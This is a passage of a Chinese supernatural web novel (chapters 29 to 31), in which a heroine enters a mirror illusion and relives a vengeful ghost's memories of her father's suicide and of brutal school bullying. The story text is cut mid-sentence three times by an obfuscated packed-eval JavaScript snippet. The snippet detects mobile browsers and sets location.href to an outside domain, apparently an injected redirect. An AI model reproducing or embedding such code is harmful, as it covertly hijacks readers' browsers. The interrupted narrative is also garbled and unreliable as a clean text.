张云汉端着茶杯的手僵在半空,然后看着姜满和薄临起身离开的背影,讪讪收回手,将茶水一饮而尽。 上厕所还结伴,去的也不是同一个厕所,摆明是有话要说,还不能让他听。 过分!太过分! 他忿忿不平地找来服务员,又叫了几盘肉,化悲愤为食欲。 没过多久,姜满和薄临一起回来了,二人若无其事地坐回原位。 张云汉既不敢对大长老姜满发作,也不能对“财主”薄临发作,于是暗自嘀咕,“吃饭的时候上厕所,没福气!没礼貌!” 姜满瞥了他一眼,低头看起手机,“张云汉,快点吃,吃完去接你的书韫妹妹。” 张云汉一听要去接程书韫,立时放下筷子,“我吃饱了。” “不许浪费食物。” 如同遇到克星一般的张云汉张了张嘴,却什么都说不出来,于是拿起筷子把桌上新添的肉菜全倒进了锅里,筷子搅了搅,也不管熟没熟,泄愤一般往嘴里塞。 低头看手机的姜满抬眼见到张云汉的样子,不由的嘴角漾起了笑,她想起了阿姐的孩子——小宝,那孩子才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837510|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八岁,是个调皮的小子,家里人惯得他天不怕地不怕,唯独怕姜满,吃饭的时候不规矩,被她“制裁”过后,气呼呼又不敢发作的样子,和此刻的张云汉真是像极了,但后来…… 她的笑容逐渐淡去,像是想到了不愉快的事,于是收起手机站了起来。 “走吧。” 按照他们原先的安排,并不会让李妆娇在麓川市的医院办理住院,李妆娇的情况只要不醒来,问题都不会太大,且她的监护人还在檀州,所以薄临安排了他的人来接李妆娇回檀州,现在姜满他们也没必要继续留在麓川了,就提前碰面,一起回檀州。 刚才吃饭的时候,薄临已经收到了消息,他安排的人已经下飞机了,大家先一起到医院会和。 张云汉象征性的在锅里捞了捞,也不管还有没有剩,起身拿了东西,跟结完账的薄临一起走出门,在姜满身后约几步远,他拉住薄临,示意有话要说。 “兄弟,刚刚她跟你出去,说了什么?” 薄临丝毫不意外,看着姜满的背影,答道:“她说绑架勒索的事情,不会这么简单。” “不会这么简单?不就是一个疯子的闹剧吗?” 薄临垂眼笑了笑,“嗯……你觉得如果有人向你借手机,还给你的时候,你会做什么?” 有人借手机,那还回来的时候,肯定得查看他用自己手机干了什么…… 张云汉愣了愣,回过神来,“所以,她是怀疑书韫骗我们?不可能,书韫为什么要骗我们?为了钱?我们也没有准备钱啊!她怎么可能会这么傻,用这种办法要钱?” “那如果,我们准备了呢?”薄临依旧笑着,侧过脸看向张云汉,“这么一大笔钱,重量约等于一位成年女性的体重,至少需要三十寸以上的拉杆箱,且不说银行需要提前预约,就是能直接取出现金,我们没有车,带在身边也不方便,但因为我的身份,也许只需要开一张支票,那么,对于不了解具体操作的人来说,或许会认为,我要准备五百万带在身上,没有什么难度。” 张云汉并不服气,反驳道:“这不对吧!书韫妹妹为什么要这么做?她要这么多钱干什么?五百万……我这辈子都没见过这么多钱!她没有必要啊!而且,大长老有话为什么不能直接说?还只告诉你?” 薄临抿抿嘴,有些无奈道:“没办法,我想继续跟着你们,所以要接受一个考验。” 张云汉微微有些吃惊,“你意思是,她不打算让你一直跟着我们?” 他实在猜不透大长老在想什么,这么好的“财主”,主动送上门,性格好,长相好,也不拖累人,甚至还能帮不少忙……他转念一想,心里莫名有些高兴起来,大长老这是对薄临存了戒心啊…… “什么考验?她要你做什么?”他耐不住好奇,追问道。 薄临笑了笑,“说是一个考验,却分几层考量,这第一层,就是:不能为外人道也。” “不能为外人道也?她让你瞒着我?我也是外人?” 这时薄临的手机响了起来,他拿起手机,对张云汉的话不置可否,留下四个字,“色令智昏。”说罢,他接起电话。 电话那头像是在汇报什么,薄临静静听着,听完之后,他嘴角带起淡淡的笑意,随后挂了电话。 “机票订好了,晚上七点五十五的飞机回檀州,走吧,去告诉恩人。” 29. 第一座山(29) 三人抵达麓川医院的时候,是下午一点半,先遇到的是薄临安排过来接李妆娇的人,是个熟面孔,姜满认识,薄家私人医院的那个医生。 找个医生来合情也合理,毕竟李妆娇“病”得不轻。程书韫说过,麓川医院的医生诊断李妆娇是精神分裂,在幻觉的严重影响下,致使感知障碍,思维混乱,最好能立刻住院接受治疗。 看起来,那个菌子怪老头应该下手很重,像是吃定李妆娇了,对其他几人反倒没花太大手笔,仅清水甚至时间,就能解了幻毒。 这个檀州过来的医生叫孔青,应该薄临关系不错,很熟络的样子。 孔青过来的时候,递给薄临一个牛皮纸包的文件袋,眼神却不由地在姜满身上停留了片刻。 不得不说,现在这样打扮的姜满,太具有迷惑性了。 正常情况下,二十左右到三十左右的人是很难确定具体年纪的,尤其是会化妆的群体,比如大部分女性,但人的眼神不会骗人。 之所以先前的姜满看起来那么像大学生,也是因为她的眼睛,她这双眼睛又大又圆,眼神很亮,看起来对这个世界充满好奇,天真无邪,这使得此刻故意打扮成学生模样的她,更加让人毫不设防。 在孔青的角度,他很不喜欢这个女孩,因为他的山主大人为了她,吃了好多毫无必要的“苦”。 薄临接过文件袋,笑着拍了拍孔青的肩膀,“一路过来辛苦你了,不过现在我们可以一起回去了。” 孔青回过神来,笑着点头,再没看姜满和张云汉一眼。 张云汉在给程书韫打电话,可打了好几个电话都无人接听,他现在有些焦躁了。 他虽然害怕姜满的顾虑是正确的,但他更害怕程书韫是出了什么事。 姜满看了张云汉一眼,起身往六号楼精神科住院部走去,几人欲跟着她一起,却被她制止了。 显然,无论他们想干什么,医院都会视为家属探视,不可能允许这么多人进去的,所以,即便张云汉十分不满,她也只带了薄临同行。 “这个是给你的,有空可以看看。”二人走出门诊楼,薄临把手里一直拿着的文件袋递给姜满。 姜满接了过来,没有打开,“这是什么?” “我觉得你可能会需要,所以调查了程书韫,这是她的资料。” 姜满点点头,“谢谢。” 这个文件袋很厚,她把文件袋塞进了背包,并不打算现在看。 背包上的玩偶跑进她的视线,她伸手抓住了它,“不过,这东西真的适合我?” 薄临推了推他的无度数眼镜,“适合,和你很像。” “和我?像?”姜满皱起眉头,“我,长这样?” 薄临笑而不语,转而问道:“对了,有个问题我一直很好奇,你如今到底……多少岁?你看起来,真的不像一个活了很久的人。” “不像不是挺好,要不然我得老成什么样?多吓人。” 薄临笑了笑,看着她的眼睛,“所以,你的真实年纪,能告诉我吗?你可以放心说,因为我家里那张你的照片,我还算有心理准备,你哪怕说你上千岁,我都不会被吓到的。” 姜满重新背上背包,“我不能告诉你,因为,我也不知道。” 她注意到四周不断投过来的路人视线,并不想在这儿和薄临闲扯,“走吧,这些天你出钱出力的,做的不错,所以我打算尽快帮你,把那个贪图你‘药’的‘病人’,彻底送进医院。” 不得不说,钱是真的养人,即便薄临气色不好,看起来苍白病弱,还换上了寻常的休闲运动服,戴着帽子配上眼镜,但他只站在那儿,都没法不引人注目。 姜满觉得他就像个靶子,所以此刻,要么,她赶紧远离这个靶子,要么带着靶子走。 她一边加快步伐往六号楼走,一边低头看了看手机,手机屏幕显示拨号中,是打给程书韫的,程书韫还是一直不接电话。 这姑娘真是会赶时候给她找麻烦,要是李妆娇和那个姚雪菲出了什么事,她当真是白忙活了,就不该让李妆娇离了她的视线,说起来,还是怪她自己不够小心,让人入了李妆娇的梦,自己还被人捅了刀子。 姜满的担心是不无道理的,程书韫也是道玄,随手解决一个怨灵不是什么稀罕事,那个名为姚雪菲的怨灵一天比一天像人,没人知道它什么时候会动手报仇,一旦动手,又是否会被道玄程书韫降伏。 如果姜满没有被人算计,此刻,她早已解决了这个麻烦,并且按事先预想的,完成了可行性实验,彻底掌握超度三千怨灵的办法。 虽然姜满并不关心程书韫到底怎么了,但此刻还在门诊楼的张云汉却担心极了,他在孔青面前踱来踱去,使得本就不太高兴留守的孔青也有些烦躁。 “你能不能别走来走去了?”孔青本来就不喜欢人,大医院门诊楼这种人来人往的地方更是让他反感。 张云汉心里七上八下,他知道姜满会给程书韫打电话,所以他不能让程书韫的手机占线,只能不停的发信息给她,可显然,信息发过去石沉大海,毫无回应。 听到孔青的声音,他停下脚步,坐到孔青身旁,喋喋不休地问了起来,“你说会不会出什么事了?你是医生,精神分裂症的病患,会伤人吗?一般这种精神科住院部,会不会很容易出现病患伤人的情况?如果出事了,医院会不会隐瞒?还有——” 孔青打断了他,淡淡道:“你这么担心,自己跟过去看看就是了。” “你以为我不想?有人不让啊!” 孔青冷笑一声,“你怎么这么听她的话?” 张云汉察觉出这个人对他似乎隐隐有一种敌意,这让他感到莫名其妙,也让他有些不爽,“什么叫听她的话?有本事,你别听你们小薄总的,现在就走!” 孔青瞥了他一眼,“小薄总给我发工资,姜满给你发吗?” “你——”张云汉气得不轻,“之前倒是没看出来,你很讨厌我吗?我到底怎么得罪你了?” 孔青面不改色,“你没有得罪我,我也不是讨厌你,我只是平等的不喜欢你们每一个人。” 张云汉更觉莫名其妙,“神经病,你也应该挂号去精神科看看病!” 孔青并不生气,如他所料,人这种生命体就是喜欢自己臆想出许多奇怪的情绪,比如张云汉所说的讨厌,事实上,他不会去特地讨厌谁,因为他根本对人没兴趣,除了…… 他看向仍在焦灼地摆弄手机的张云汉,“我问你,姜满是什么样的人?” “关你什么事?”张云汉头都没抬。 “她看见小薄总伤成那样,都毫不动容,我猜,她一定是个心狠手辣的人。” 张云汉下意识维护道:“当然不是!大长、姜满只是外冷内热,她比你善良多了,她连只虫子都不忍心踩死。” 他记得大长老在山里走路时小心的样子。 “哦?她有这么好?” 张云汉没再搭理他。 门诊楼的玻璃窗外,天色阴沉下来,厚重的云层中隐隐传来雷鸣槌鼓声。 轰隆—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846436|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴随着一声近在耳边的雷鸣,张云汉的手机响了。 是姜满打来的。 听完电话的张云汉,把背包什么的全都丢给了孔青,“我要过去一趟,你在这儿等着。”临走时,他又补了一句,“是你的小薄总让你在这儿等着。” 说罢,他急匆匆地往门诊楼外走去。 六号楼是一栋老楼,并不好找,它像是一个庞大家族中老去的长辈,安静地坐在家中某个角落,阅读每一本被送到他手上的,特别的书。 雷雨倾盆而至,张云汉略显狼狈地冲进六号楼,身上已经湿透了。 楼里很安静,这并不奇怪,奇怪的是,这栋楼里,一个人也没有。 护士台空无一人,旁边的铁门开了一条缝,没有上锁,楼道空荡荡的。 通常情况,能入住精神科住院部的,百分之九十以上都是精神分裂,但病房也是分等级的,像李妆娇这样的情况,攻击性不强,只是因为过度妄想导致感知障碍,且她的情况又不能长期住院治疗,所以目前的主要治疗手段就是让她不要醒过来,就安排在了一楼。 原本作为陪护家属的程书韫只需等到孔青来了,就可以返回落洞村,剩下的交由孔青决定什么时候带李妆娇回檀州,现在的情况,程书韫应该已经办理出院,并去门诊与他们会合。 可程书韫没有出现,电话也无人接听,此刻的病区又空无一人。 张云汉越想越觉得不安,他摘下眼镜擦了擦,又抹去脸上的雨水,然后把西服外套脱了下来。 按照姜满的指示,他掐诀念咒,手指虚划过双眼,开了天眼,随即伸出挂着西服外套的手臂,推开铁门,往李妆娇的病房走去。 病房门虚掩着,透过门上的长条形玻璃窗,张云汉看到里面的瞬间,瞳孔放大,猛地推开了门就往里冲。 “……你冷静点,我真的可以帮你,你先放开她。” 姜满站在靠门的位置,安抚着病床上的李妆娇。 病房两张床,另一张床上的病人不知道是自己吓自己还是因为什么缘故,躺在床上,应该是晕了。 靠里面的病床上,李妆娇用绳子勒住了程书韫的脖子,程书韫的脸已经涨得通红,嘴巴微张,发不出一点声音,看起来痛苦至极,仿佛这绳子再紧一点,就能要了程书韫的性命。 张云汉的闯入似乎让李妆娇情绪更加激动,手上又加大了力度。 “没人能帮我!我不需要别人帮我!你们都走!我自己解决!我自己的仇,自己报!我要她生不如死!谁敢拦我,我就让谁一起下地狱!” 她的声音很诡异,像两个不同的声音重合在一块。 张云汉深吸一口气,退到姜满身后,“大、大长老……” 姜满看了他一眼,然后看向窗外凉亭里的薄临,向薄临微微点头示意,随即对张云汉道:“准备好,你只需要记住,别乱开门,待着等我就行。” 张云汉很紧张,他不明白姜满的意思,但他相信姜满肯定能救下程书韫。 开了天眼的他看得很清楚,这个李妆娇已经不是原来的李妆娇了,她被怨灵附身了!而大长老曾经在他面前,亲手抓住过一个灵,那个附在薄临身上又被撞出来的灵,所以这种虚化的东西,大长老一定可以对付。 姜满闭上眼,口中念念有词,一道无形的灵能链接到窗外薄临手中,下一瞬,病房不再是病房,她作为术主,也没有陷入水中,她的脚下出现了一面巨大的镜子,紧接着,镜面翻转,她进入了镜中世界,四周出现了五扇门。 30. 第一座山(30) 姜满不得不承认,她对事情的发展失算了,她知道姚雪菲的怨念日益加深,她也想到了姚雪菲会被发现,或者自己出手报仇,可事情还是超出预估。 姚雪菲竟然这么快就有了足够灵智,她在程书韫发现她的时候,选择直接进入了李妆娇的身体。 陷入菌子怪老头幻毒的李妆娇,一直没出来,内心的恐惧时时刻刻都在放大,正是阳气极弱,信念极度不稳之时。 李妆娇这个女人,运气倒是好得出奇,即便她有着常人难以企及的盲目自信,在她这样的人身上出现这种好运,也实在古怪。 通常来说运气这个东西可以受“谶”所左右,“谶”是一种预言,会出现在一个人认为自己做不好一件事的时候,于是这件事大概率就是做不好的,反之,亦然。 暂且不论李妆娇的好运到底怎么来的,恐怕如今的她看到自己双腿被砍断,所以逐渐失去了这种不知哪里来的对一切的自信,因而,也就开始走向衰败,让姚雪菲有了可乘之机。 不过好在,姜满做事,从不失算。 此刻姜满周身的五扇门,有了不同的颜色,黑水、青木、白金、赤火、黄土,门上还有淡淡的影子,这些影子让术主很轻易就能辨认出是什么人。 病房里算上附体于李妆娇的姚雪菲,受挟制的程书韫,再加上那个昏睡的病人,包括张云汉,不算术主姜满,一共是五个人,但之前入拦路夫妻的幻境时姜满就知道,五方镜设阵,并不需要集齐五个人,所以,姜满并没有让那个无关的病人进入,也没有把程书韫拉进来。 五扇门中,水火两扇是空的。 张云汉在金,李妆娇在木,姚雪菲…… 姜满从背包里取出布袋子,然后推开了那扇黄色的门。 这是一片林子,像是景区那种禁止游客入内的野林子,女孩衣衫不整,脸上带着绝望坐在树下,她的身旁地上散落着剪断的头发,还有一把带血的剪刀,她的脸上、脖子上,以及露出的皮肤上,青紫一片,伤痕遍布。 姜满朝她走近,似是有所察觉,女孩抬头看向姜满,“我好恨。” 她眼里噙着泪,眼神满是绝望。 什么书都看的姜满自然猜得到,这大概就是一个被霸凌女孩的故事,霸凌她的,就是李妆娇。 姜满伸手,轻轻抚摸她被剪得如同草窝般的头发,“嗯,我会帮你,你可以全部都告诉我。” 幻境中的姚雪菲显得没那么激进了,她像是找到了情感的寄托,靠在姜满肩头,低声抽泣,哭得那么伤心,泪湿了姜满的衣服。 四周逐渐发生变化,姜满和姚雪菲并排坐在树下,如同看电影一般,看着眼前变化的场景。 这是一所学校,小女孩穿着干净的校服,扎着两条麻花辫,发辫上还夹着漂亮的蝴蝶发夹,她背着书包走出六(三)班的教室,蹦蹦跳跳地往学校外走去。 六年级的姚雪菲放学了,她心里很高兴,今天老师给她发了奖状,她要拿回家给妈妈看。 快放假了,去山村支教的爸爸也要回来了,爸爸说,等她上初中,他就不用离家了,到时候就回城里教书,以后可以天天见到他了。 她小小的心里充满雀跃,洋溢在脸上,变成了笑,但很快,笑容又变得有些惆怅。 最近妈妈好像有心事,虽然妈妈对她一如既往的温柔,但她还是察觉到了,妈妈好像不那么爱笑了,即便笑,她也能感受到,妈妈笑得很勉强。 不过没关系,今天妈妈看到她的奖状,一定会开心起来的。 小姚雪菲敲开家门,开门的妈妈似乎有些慌乱,她的眼睛红红的,好像哭过。 小姚雪菲有些害怕,她换了鞋子,听到电视开着,她很喜欢看电视,于是走了过去,可妈妈却像是受惊的兔子,立刻关掉了电视机。 虽然妈妈关得很快,但小姚雪菲还是看见了,电视里在放新闻,好像说什么支教老师的事。 “妈妈,你怎么了?你哭了吗?”小姚雪菲有些害怕的问。 “没事,妈妈没有哭,妈妈只是眼睛不太舒服。” 小姚雪菲拿出奖状,小心地递给妈妈,她挤出笑脸,“妈妈,你别不开心了,你看!这是我唱歌比赛的奖状!发奖状的时候,全班都在为我鼓掌!妈妈,这次期末考试,我肯定能考好,到时候我要再拿一张三好学生奖状回来!” 妈妈接过奖状,眼眶又红了,她蹲了下来,搂住小姚雪菲,把脸埋进她小小的肩膀,好像在哭。 小姚雪菲心里越来越害怕,可是她还是懂事的拍拍妈妈的背,安慰着妈妈。 第二天,小姚雪菲是被吵醒的,看了看闹钟发现自己睡过头了,她赶紧穿衣起床,今天来不及让妈妈给她编好看的辫子了,她走到外面正想问妈妈怎么忘记叫她,却发现妈妈坐在客厅沙发上,像是一夜没睡。 门外有人不断地敲门,好像有很多人,有很多声音,那些声音在问,这里是不是姚卫国的家。 姚卫国是姚雪菲的爸爸,小姚雪菲有些疑惑地看向妈妈,“妈妈,你怎么不开门?这些人是来找爸爸的吗?” 她一边说一边往门口走去,手放在门把手上正要开门,妈妈却飞奔过来拦住了她。 “别开门,菲菲,今天你先别去学校了,在房间里看书吧,好吗?” 小姚雪菲想问什么,但看着妈妈憔悴的样子,她还是什么都没问,乖巧地点点头,回到了房间。 一连几天,小姚雪菲都没有去学校,那些人天天都来家里敲门。 小姚雪菲悄悄趴在窗户边看过了,那些人很奇怪,他们带着摄像机,拿着话筒,不知道是做什么的。 这几天妈妈也没出门,母女二人天天吃些方便面之类的速食,妈妈也没有精神做饭,很快,家里的食物都吃完了,妈妈终于打开了门。 她叮嘱小姚雪菲不要出门,然后下楼,没有理会守在楼下的那些人,骑上自行车离开了。 趴在窗户边张望的小姚雪菲隐约听到那些人似乎在问,对于姚卫国的事怎么看。 小姚雪菲大概能猜到,是爸爸出事了。 可是无论她怎么问,妈妈都闭口不言。 这时,家里电话响了。 小姚雪菲接起电话,是警察打来的,他们问,是不是姚卫国家,他们说,姚卫国跳楼自杀了。 这句话犹如晴天霹雳,让小姚雪菲大脑一片空白。 她忘记了妈妈的嘱咐,巨大的冲击带来的无措感让她只想去找妈妈,于是她打开门,跌跌撞撞下了楼。 那些楼下守着的人似乎认识她,他们一拥而上,围住了她,把话筒伸到她的嘴边。 “请问你是姚卫国的女儿吗?” “请问你对于你爸爸侵犯幼女的事知情吗?” “请问姚卫国以前是否做过类似的事呢?” “请问你对于你父亲平时是个什么样的人呢?” “请问……” 无数句“请问”铺天盖天向小姚雪菲席卷而来,她好像什么声音都听不到了,心跳声变成轰鸣,把她小小的心震出了一个破洞。 这时他们中有人接到了电话,那时手机还没普及,大部分是小灵通,也不是每个人都有。 接到电话的人像是又知道了什么好消息,脸上写着兴奋。 “请问你知道你父亲自杀的消息了吗?” “请问你父亲是不是畏罪自杀?” “请问你对你父亲自杀的事怎么看?” 姚卫国自杀的消息一下子传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859706|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了,终于有人开始同情这个小女孩,劝说同行不要再问了,也许是因为小姚雪菲的沉默,这些人不再问她了。 小姚雪菲依旧站在那儿哭着,茫然无措。 不一会儿,一个大婶着急忙慌地从远处跑过来,拉起小姚雪菲就往路上去。 这是他们家的邻居,小姚雪菲认得,“刘阿姨……” “不得了了菲菲啊!你妈出车祸了!你快跟阿姨走!真是造孽哦!你爸爸做的混账事,怎么报应在你妈身上了!啧啧……” 坐在姜满身旁的姚雪菲惨然一笑,眼泪滑过青紫的嘴角,“你看,这些人,每一个都是我的仇人,你要怎么帮我?” 姜满笑不出来,她看了看姚雪菲,没说话。 场景变幻,小姚雪菲长大一些了,受父亲事件的影响,她搬家了,搬到了市里另一个区,家里来了一位老人,小姚雪菲叫她外婆。 姚雪菲的母亲没有死,似乎是瘫痪了,躺在床上,只有脑袋勉强能动,说话也有些不利索。 小姚雪菲已经上初中了,她好想爸爸,可是,她更想还爸爸清白,于是她在学校的信息课上,用电脑查到了姚卫国的新闻,她记住了李某某这三个字,是个年纪和她一样大的女孩。 她不相信爸爸会侵犯别人,更别说是个小学生。 那年暑假,她把妈妈交给了外婆,说自己要去学校参加一个需要外出的活动,要很晚才能回来。 外婆给了她一些钱,然后,她坐了很久的车,来到了爸爸曾经支教的山村。 问出李秀娟的名字很容易,李秀娟在村里很出名,村里人大多纯朴,平日里闲话又多,稍一打听就全说出来了。 所以,除了知道李某某叫做李秀娟,小姚雪菲还知道了不少事。 李秀娟从小就长得很好看,像个洋娃娃,家里人也是宠的不得了,她家有个城里的舅舅,三言两语就哄得全家人一心要把李秀娟送进城里当明星。 可李秀娟家庭条件很一般,和村里人一样,都是种田为生的农民,城里的舅舅也不过是个普通工人,于是,因为上过新闻,所以被城里有钱人看见的可怜的受害人李秀娟,成功靠着那件事获得了有钱人的资助。 据说,李秀娟成绩很好,初中是在县城读的,高中要考去市里,目标是市一中。 回到家的小姚雪菲暗下决心,她一定要考去市一中。 等她接近李秀娟查清真相,一定可以还爸爸清白! 十几岁的孩子想法总是很简单,她觉得那件事一定是有误会,可她从没想过,也许别人是故意的。 如愿考上市一中的姚雪菲非常“幸运”的和李秀娟成为了同班同学,在姚雪菲的刻意示好接近下,她和李秀娟成为了“好朋友”。 也许是女大十八变,也许是心里的偏见,姚雪菲觉得,李秀娟并没有当初那些村民说得那么好看。 不过这些并不重要,她只迫切的想知道那件事的真相。 可渐渐的,姚雪菲发现了不对劲。 首先是李秀娟对同学的态度,她意识到,李秀娟在熟门熟路的“拉帮结派”,然后团伙欺负那些弱势同学。 李秀娟有一个相机,尽管不是什么好相机,但在那个时候的学生群体里也算稀罕物,她会用相机拍下她欺负的同学一些照片,以此要挟,要挟的内容很多,主要是钱、帮她做作业,以及考试帮她作弊。 然后就是其次,李秀娟从不学习,她的书都是崭新的,也没上过什么课外辅导班,更不会做课外练习册。 她的作业是别人帮她做的,考试是别人帮她作弊完成的,就连上课回答问题,都有人小声告诉她答案。 很快,不愿和李秀娟一起欺负同学的姚雪菲,被李秀娟列入了她的名单。 31. 第一座山(31) 或许是因为姚雪菲曾经是李秀娟的“好朋友”,李秀娟对姚雪菲的恶意,比对那些弱势同学更大。 姜满看着李秀娟对姚雪菲做的那些事,不由地伸手挡住了姚雪菲的眼睛。 这几年姚雪菲是怎么过来的,姜满看得清清楚楚。 她学习用功,还要肩负起家务的重担,外婆年纪大了,除了要学习和做家务,和外婆一起照顾瘫痪的母亲,也十分不易。 这个十几岁的小姑娘,独自一人,承受了太多。 她明明那么努力的活着……其实她如果只关注自己,只要不去想她父亲姚卫国的事,不去打听李秀娟,不刻意为了李秀娟而去读市一中,也许,未来也是光明的,也许等她长大,等她足够成熟,会有更好的办法为父亲申冤。 但,如何才能让此刻这个坚强又固执的姑娘做到这个“不”呢? 高中的姚雪菲心里已经是千疮百孔了,她不再是那个扎着两条精心编织的麻花辫、戴着漂亮小发卡的小女孩了,因为营养不良,她的头发变得枯黄,气色也不好,瘦得厉害,每天穿的校服也没有人为她洗得干干净净,叠得整整齐齐,这成为了她每天早晨起来的工作,洗衣服,晾衣服,叠衣服。 她做这些并不是因为外婆对她不好,只是她太懂事,不想让外婆太累,毕竟她可以依靠的亲人,就只有外婆了。 事实上,姜满已经不想再看下去了,可她都看到了这里,只要看完,把它装进布袋子,至少,她能让这个姑娘的灵魂得到安息。 她有些烦躁的想到那串数字,两千九百九十九,每一个都代表一个怨灵,每一个怨灵都有着一段让人不想看的记忆,可她还要再看下去,为了破除[空]的诅咒,她必须看下去。 也许长生的代价压根不是什么成[空],而是必须接受三千段怨灵记忆。 眼前的画面还在继续,李秀娟带人把姚雪菲锁进厕所,淋水、扯头发、殴打…… 姚雪菲不是没想过反抗,可是和所有被欺负却不敢声张的同学一样,李秀娟的相机里有她的隐私照,一旦发出去,她的人生就全完了,她的处境和她作为学生的认知,让她无法反抗。 有一次,考试前,姚雪菲拒绝帮李秀娟作弊,李秀娟扯住她的头发,把她拽进厕所,准备把她锁起来,不让她参加考试。 姚雪菲终于忍不住了,她隔着厕所单间的门,问出了那句一直一直都很想问的话:“李秀娟,你还记得姚卫国吗?” “姚卫国?”门外的李秀娟似乎早已忘记了这个人,她想了一会儿,好像终于想起来了,恍然大悟道:“我想起来了,姚卫国,姚卫国……姚雪菲……原来如此,哈哈哈哈……” 她忽然大笑不止,像是听到了极其好笑的笑话。 厕所的门被打开,李秀娟的跟班主动配合地压住了本就瘦弱的姚雪菲,李秀娟走上前,把趴在地上动弹不得的姚雪菲的头,按进了污秽不堪的厕所坑里。 直到姚雪菲几乎要被溺死,李秀娟才松开了手,起身离开,一脸嫌弃地在洗水池边仔细地洗手,对她说道:“你应该和你那个色胚老子一起去死,怎么还能活到现在的?想报仇?” 李秀娟抬起头掏出镜子照了照脸,笑道:“可惜,你比他还没用。” 姚雪菲一直在咳嗽,说不出一句话,可她很想说话,她想说,她爸爸不是色胚!不是! 李秀娟扬长而去,此后,或许是因为做贼心虚,又或者是因为别的什么原因,她对姚雪菲的欺辱减少了。 然后,作为受学校慈善基金救助的贫困生姚雪菲,因为歌唱的好,和李秀娟等同学一起走上了舞台,这个归山集团出资的慈善基金会,举办了一场慈善活动,意在让更多的慈善家捐助善款,关注慈善事业。 当天演出完,薄家顺着记者的话,邀请了几名优秀学生去家里做客。 姚雪菲和李秀娟都在其中,只不过,一个是真优秀,一个…… 姜满在这段记忆里看到了十几岁的薄临,他依旧那么苍白、优雅,穿着不同于普通学校的漂亮校服,路过客厅时,也只是朝那些贫困生微笑点了点头,随即穿过一个庭院,去往后面一栋的房子里了。 这次演出之后,李秀娟像是被打开了一扇新世界的大门,她看到了另一个世界,从未见过的,金钱堆砌起来的世界,她坚信那个小少爷对她笑了,可当时她旁边坐着的是姚雪菲,她看到小少爷也对姚雪菲笑了,而且,她很确定,小少爷多看了姚雪菲一眼。 后来,归山集团的个人资助多了那天去过薄家的几个学生,而这几个学生无一例外,都被李秀娟针对了。 其中,只因为那一眼,姚雪菲所受欺辱最甚。 李秀娟的团伙中不乏男生,她的恶行已经达到了令人发指的地步,她带人把姚雪菲拖进了小树林。 正是姜满此刻所在的这片树林。 他们撕扯姚雪菲的衣服,拍了无数照片,各种姜满想都想不到的凌辱,一一落在姚雪菲这个可怜的姑娘身上,拳打脚踢之后,总算泄愤的李秀娟终于离开了。 姚雪菲哭着拾起衣服,却不知道该去哪儿。 然而更令这个姑娘崩溃的,是那些照片当天就被打印出来,装进信封,送到了她外婆的手里。 很晚才回到家的姚雪菲看见的,是紧闭双眼倒在地上的外婆,以及散落一地的照片。 绝望充斥在这个十几岁女孩的心里,外婆被送进医院,医生诊断:急性心肌梗死,发现得太晚,人已经去了。 她很后悔,她陷入了无尽的自责。自己为什么不能早点回来,也许早点回来,照片就不会到外婆手里,外婆也不会禁不住刺激,哪怕稍微早一点点,只要来得及将外婆送到医院,外婆也不会走…… 再也没有依靠了,什么都没有了。 可她不能倒下,她还有妈妈,妈妈需要她。 姚雪菲强撑着处理完外婆的后事,拖着疲惫的身体回到家,坐在妈妈身边,她看到妈妈在哭。 妈妈什么都知道,只是什么都做不了,妈妈一定听到了外婆昏倒的声音,可妈妈动不了,妈妈肯定比她还要绝望,妈妈…… 情绪如洪水倾泻般涌上心头,堵在肺腑,让她呼吸困难,整个身体都在发抖,她再也忍不住了,趴在母亲身上,泣不成声。 为什么?为什么上天要如此待她?她不明白,她到底做错了什么?为什么她的家会变成这样?为什么…… 爸爸,你在天上看到了吗?你为什么,不保佑我们…… 爸爸,保佑我吧,一次就好。 时间来到了第二天,姚雪菲带了一把剪刀去到了学校,她下定了决心,等问清楚爸爸的事,然后,她就要报仇!用这把剪刀,杀了李秀娟! 姜满闭了闭眼,低声自语道:“所以,我讨厌‘报仇’这两个字,可是傻姑娘,你为什么选剪刀呢?剪刀怎么可能……杀得了人。” 天真的姚雪菲并没有想太多,她递给李秀娟一张纸条,约李秀娟放学单独去小树林相见,她说要向李秀娟道歉,她想求和,想要和李秀娟继续做朋友,像最初那样。 放学后的小树林,姚雪菲等来了李秀娟和她的跟班。 看到李秀娟不是孤身前来,姚雪菲有些慌了,她已经抱了不顾一切的打算,今天势必要报仇雪恨,所以她直接掏出了剪刀,对着李秀娟刺去。 